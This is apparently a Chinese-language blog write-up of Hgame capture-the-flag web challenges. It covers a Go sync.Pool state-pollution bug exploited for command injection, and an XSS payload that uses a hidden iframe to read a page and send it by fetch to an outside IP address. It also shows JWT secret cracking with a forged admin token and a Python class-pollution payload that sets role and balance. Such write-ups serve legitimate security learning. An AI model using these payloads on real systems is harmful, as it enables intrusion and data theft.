func UserCmd(c *gin.Context) { monitor := MonitorPool.Get().(*MonitorStruct) // 1. 从池中获取对象 defer MonitorPool.Put(monitor) // 2. 函数结束时放回池中 if err := c.ShouldBindJSON(monitor); err != nil { // 3. 绑定 JSON fmt.Println(monitor) c.JSON(400, gin.H{"error": err.Error()}) return // 4. 如果出错,直接返回 } fmt.Println(monitor) defer monitor.reset() // 5. 重置对象字段(注意位置!) // ...}问题点: Go 的 sync.Pool 会复用对象。当一个对象被放回池中时,它保留了之前的状态,除非显式重置。 在 UserCmd 中,defer monitor.reset() 语句位于 ShouldBindJSON 错误检查的下方。 如果 ShouldBindJSON 返回错误(例如 JSON 格式正确但缺少 binding:“required” 的字段),函数会执行 return。 此时,defer MonitorPool.Put(monitor) 会执行(因为它在上方定义了),将对象放回池中。 但是,defer monitor.reset() 不会执行。 这就导致一个“脏”的 monitor 对象被放回了池中。这个对象可能包含了解析了一半的数据。 MonitorStruct 定义如下:
type MonitorStruct struct { Cmd string `json:"cmd" binding:"required"` Args string `json:"args"`}如果我们发送一个 JSON:{“args”: ”; cat /flag > /app/templates/login.html”},但不包含 cmd 字段: ShouldBindJSON 会先解析 JSON,将 Args 字段赋值进 monitor 对象。 然后进行校验,发现缺少 required 的 cmd 字段,返回错误。 UserCmd 提前返回,跳过了 monitor.reset()。 带有恶意 Args 的对象被放回 MonitorPool。
- 攻击路径 攻击需要结合 AdminCmd 函数。我们假设题目环境中有一个 Admin Bot 会定期调用 /api/admin/cmd 接口。
func AdminCmd(c *gin.Context) { monitor := MonitorPool.Get().(*MonitorStruct) // 获取可能被污染的对象 defer MonitorPool.Put(monitor) if err := c.ShouldBindJSON(monitor); err != nil { // ... } // ... fullCommand := fmt.Sprintf("%s %s", monitor.Cmd, monitor.Args) // 拼接命令 output, err := exec.Command("bash", "-c", fullCommand).CombinedOutput() // 执行 // ...}如果 Admin Bot 发送的请求只包含 cmd(例如 {“cmd”: “ls”}),而不包含 args,json.Unmarshal 只会更新 JSON 中存在的字段。因此,MonitorStruct 中的 Args 字段将保留我们在 UserCmd 中污染的值。
最终执行的命令变为:ls ; cat /flag > /app/templates/login.html。

博丽神社的绘马挂
灵梦为了增加参拜人数,在神社设立了绘马挂,人们可以在这里许愿🙏
但是灵梦在整理这些绘马的时候不太用心,出现了一些问题...而且她没有发现紫在归档完毕的绘马里藏了一些不可告人的秘密
(Flag格式为 Hgame{example_flag})弱密码,admin/admin123
有个 呼叫灵梦 按钮,感觉是考xss啊。
fuzz一下,挂一个
{{7*7}}<script>alert('XSS');</script><alert>bb</alert>诶,弹窗了,而且只显示 {{7*7}} bb 了,那说明确实是xss
本来是想先看一下灵梦的用户名是什么,读一下他的html,结果flag直接出来了…Payload如下:
<iframe src="archives.html" style="display:none" onload="setTimeout(()=>{ var secret = this.contentWindow.document.body.innerText; fetch('http://120.26.146.96:3306/?flag=' + btoa(encodeURIComponent(secret)));}, 2000)"></iframe>
The_Secret_Is: Hgame{tHE-secr3T_0F-haKUR31_JlNJ41a535673}
Vidarshop
➜ c-jwt-cracker git:(master) ✗ ./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbVx1MDEzMW4iLCJyb2xlIjoidXNlciIsImV4cCI6MTc3MDAxODczOH0.5akQz2Bq9KLrsBTGJBsNHfRewF5vUbX_TYI-yIxoY4YSecret is "111"
爆破得到 jwt 的 secretKey 是 111,不过其实没有用,因为权限判定只依赖 uid,与 username 无关。不过可以伪造 admin:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiZXhwIjoxODcwMDE4NzM4fQ.8mwUaZZr7hG0B-vSmZD8vTJ1SwqaCrpUrynjaHJk-Eo
尝试爆破uid,呃…
没招了,乱注册,发现 a、1 的 uid 都是 1,注意到:
1413914a -> 1d -> 4m -> 13i -> 9n -> 14所以 admin 的 uid 是 1413914。哪个大聪明想出来的???

尝试修改余额:
await apiRequest('/api/update', 'POST', { "balance": 100000, "role": "user", "username": "chao"});发现没用。
有提示:update接口直接改的好像是User类的balance属性欸,但是User属性中balance似乎并非。。。该怎么修改balance呢
不对啊,原型链污染也改不了啊。。。原来是Flask,没注意到。
await apiRequest('/api/update', 'POST', { "__class__": { "__init__": { "__globals__": { "role": "admin", "balance": 100000000 } } }, "username": "1dmin"});

[Crypto] Classic
人工队输了

如果这篇文章对你有帮助,欢迎分享给更多人!
部分信息可能已经过时









